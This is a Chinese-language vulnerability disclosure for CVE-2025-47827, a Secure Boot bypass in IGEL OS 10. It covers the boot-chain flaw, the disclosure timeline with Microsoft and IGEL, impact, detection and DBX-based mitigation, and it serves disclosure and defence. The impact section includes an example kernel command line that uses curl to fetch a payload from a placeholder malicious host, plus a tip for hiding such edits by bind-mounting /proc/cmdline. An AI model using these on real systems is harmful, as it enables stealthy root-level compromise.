CVE-2025-47827 的 PoC 和漏洞报告。
针对 CVE-2025-47827 的概念验证与漏洞报告。
在 v11 之前的 IGEL OS 中，Secure Boot 可被绕过，原因是 igel-flash-driver 模块未正确验证密码学签名。最终，一个精心构造的根文件系统可以从未经验证的 SquashFS 镜像中挂载。
IGEL OS 10 中 Linux 内核模块 igel-flash-driver 对密码学签名验证不当，允许恶意行为者通过启动由 Microsoft 第三方 UEFI CA 签名的 shim 来绕过 Secure Boot，该 shim 随后加载由 IGEL Secure Boot Signing CA 签名的 GRUB 和有漏洞的内核。一旦有漏洞的内核和嵌入式 initramfs 加载完成，即可从磁盘上未经验证的 SquashFS 镜像挂载恶意的根文件系统。
由于有漏洞的内核中提供了 kexec_load 系统调用，当前已启动的内核可以被完全不可信的内核替换，实际上允许任何操作系统在完整信任链之后启动。
在 IGEL OS 的后续版本中，该模块正确验证了根文件系统 SquashFS 镜像的签名。然而，有漏洞的内核和修补版本均使用同一证书签名，使得同一个 shim 既可以启动有漏洞的版本，也可以启动修补后的版本。
CVE-2025-47827 的初始向量字符串为 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H，获得 CVSS 评分 8.4（高危）。
2025年10月14日，该向量被更改为 AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H，评分降至 4.6（中危）。
此外，最初的弱点被定义为 CWE-347: 密码学签名验证不当，但 MSRC 已将其指定为 CWE-324: 使用过期密钥。
IGEL 和 Microsoft 分别在 2024 年 12 月 6 日和 2025 年 3 月 31 日被告知此漏洞，详情于 2025 年 5 月 29 日公开。
由于 IGEL OS 10 已不受支持，且该漏洞并不直接存在于 shim 中，双方均未提出解决方案。Microsoft 回复如下：
经过调查，我们确定此提交不符合安全漏洞服务定义，因为 IGEL OS v10 已不再受支持，且问题出在内核模块而非 shim。只有 shim 由 Microsoft 证书签名。
IGEL 于 2025 年 6 月 2 日发布了针对 CVE-2025-47827 的安全公告。
2025 年 6 月 13 日，我再次向 Microsoft 报告此问题，并收到以下回复：
尽管您的报告包含了一些有用的信息，但它不符合 Microsoft 对安全漏洞服务的要求。报告的问题在内核模块而非 shim，且只有 shim 由 Microsoft 证书签名。kexec 从设计上就已经允许绕过 secure boot（参考：kexec Command Line in Linux - Linux Expert Better 2025）。
如果问题出现在引导驱动/组件中，这才符合 MSRC 的服务条件。这是 Linux 发行版内核驱动中的漏洞。它发生在 UEFI "ExitBootServices" 之后，因此不属于 Secure Boot 绕过。用户仅在操作系统层面拥有代码执行权限，而非引导层面。
自有关此漏洞的各类新闻文章发布以来，shim 维护者 与 Microsoft 和 IGEL 进行了联络，商讨解决方案。
在达成解决方案后，我于 2025 年 10 月 20 日在 MSRC 上创建了 另一个 案例，询问撤销这些 shim 延迟的原因、CVSS 向量字符串和 CWE 的修改，以及他们的更新指南为何称该漏洞尚未公开披露。我收到以下回复：
已修复的 IGEL 漏洞并非 Secure Boot 绕过。它是一个特定于 Linux 的内核完整性绕过，不影响 Windows。IGEL shim 已老旧，不支持基于 SBAT 的新撤销机制。因此，Microsoft 发布撤销是为了防范其他已受 SBAT 保护的漏洞可能引发的利用。
Jeffrey Sutherland，首席项目经理，在 PR 中回复 解释由于缺乏 SBAT，shim 必须通过 DBX 撤销，并且 IGEL 请求额外时间以避免意外后果。他们还为未能在研究人员与相关方之间保持沟通表示歉意，这是协调漏洞披露所要求的。
Secure Boot 绕过利用可能导致开发出未被检测到的 bootkit/内核级 rootkit，进而引发多种后果，例如：
如果未进行撤销或手动干预，Secure Boot 在所有信任 Microsoft 第三方 UEFI CA 的机器上都将失效，而截至撰写本文时，这是大多数设备的默认设置。
如果用于 kexec，此漏洞可被利用来静默且恶意地修改合法系统，同时不影响 Secure Boot。
内核可能被完全替换，使恶意代码能够以内核级运行，从而无限制地访问所有系统资源，包括内存、CPU 和连接的设备。
这将允许从内存中转储加密密钥、不受限制地执行恶意进程，并使恶意软件能够逃避检测。
合法内核的命令行可以被修改，以禁用安全模块或更改 init 参数，从而允许在真实根文件系统挂载后执行恶意负载。例如（modprobe、DHCP、chmod，为简洁起见省略）：```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
这可以替换合法的可执行文件，劫持 PID 1 或在启动时自动启动，从而轻松获得 root 权限。
`/proc/cmdline` 可以通过绑定挂载进行[劫持](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline)以隐藏任何修改。
更多信息请参阅 [Linux 文档](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)。
### Persistence
只要所需的 EFI 二进制文件和内核存在并由系统固件配置为启动，影响将持久存在。
操作系统更新可能会导致启动顺序或安全启动禁止签名数据库 (DBX) 发生变化，从而阻止二进制文件执行。但是，如果操作系统也遭到入侵，则此补救措施可能会被撤销。
此外，由于 EFI 启动顺序可由操作系统通过修改 EFI 变量来配置，因此特权恶意软件可以通过安装所需的启动文件并相应地配置启动顺序来获得持久性或进一步提升权限。
## Detection
假设已经创建了一个完美的内核级 rootkit 来利用此漏洞，则有关正在运行的系统的数据将不可信。
检测方法包括：
- 检查相关二进制文件的存在
- 验证已知文件的签名/完整性，例如 [rkhunter](https://rkhunter.sourceforge.net/)
- 行为分析，特别是在网络环境中
至少，系统固件和 IGEL 内核要启动的已签名 EFI 二进制文件必须存在于受入侵的系统上，但是，由于恶意代码执行所处的[级别](https://en.wikipedia.org/wiki/Protection_ring)，[rootkit](https://en.wikipedia.org/wiki/Rootkit) 可以在运行时隐藏自身。
其他入侵指标取决于利用此漏洞的恶意软件的操作。例如，启动的内核可能已被替换，根文件系统上的文件被修改，或意外程序正在运行。
## Mitigation
> [!IMPORTANT]
> Microsoft 在与 IGEL 达成协议后，于 2025 年 10 月 20 日发布了[已签名的 DBX](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed)，撤销了相关 shim 的签名。
>
> 对于 Windows 系统，请参阅
> [MSRC 更新指南](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827)。
>
> 要使用 [fwupd](https://fwupd.org/) 更新基于 Linux 的系统，请将
> [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware)
> 更新至版本 `20250902` 或更高版本。
>
> 更多信息，请参阅 [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272)。
为了防止引导链被入侵，应撤销/不信任用于签署易受攻击的 GRUB/内核映像的证书，或者将受影响内核（或 shim）的 SHA-256 哈希值添加到 DBX 或 MOKX 拒绝列表中。
更多信息请参阅 [NSA 网络安全局的文档](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md)。
或者，为了防止初始 shim 执行，可以取消对 Microsoft 第三方 UEFI CA 的信任，但这可能会对其他合法应用程序造成意外中断。
某些设备在固件设置中提供了此选项。
[sbctl 的 ArchWiki 页面](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) 警告如下：
> [!WARNING]
> 某些固件在启用安全启动时使用 Microsoft 的密钥进行签名和验证。不验证设备可能导致其变砖。
这是 [安全核心 PC 的默认设置](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot)：
> 安全启动的默认状态具有广泛的信任圈，这可能导致客户信任他们可能不需要的启动组件。由于 Microsoft 第三方 UEFI CA 证书签署了所有 Linux 发行版的引导加载程序，因此在 UEFI 数据库中信任 Microsoft 第三方 UEFI CA 签名会增加系统的攻击面。原本只打算信任并启动单个 Linux 发行版的客户将信任所有发行版——超出了他们期望的配置。任何引导加载程序中的漏洞都会暴露系统，并使客户面临从未打算使用的引导加载程序被利用的风险，如最近在漏洞中看到的，例如 [GRUB 引导加载程序](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) 或影响启动组件的[固件级 rootkit](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit)。
> [安全核心 PC](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11) 要求默认启用安全启动并配置为不信任 Microsoft 第三方 UEFI CA 签名，以向客户提供可能最安全的 PC 配置。
### Measured Boot
如果系统使用 IGEL shim 启动，[TPM PCR 测量值](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers) 将会改变。
Windows 默认使用 BitLocker 的[度量启动](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot)，如果系统未使用预期的二进制文件启动，则加密密钥将不可访问。
在基于 Linux 的系统上，可以使用 [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) 将 LUKS 密钥注册到 TPM 并将其绑定到各种 PCR（默认为 PCR 7）。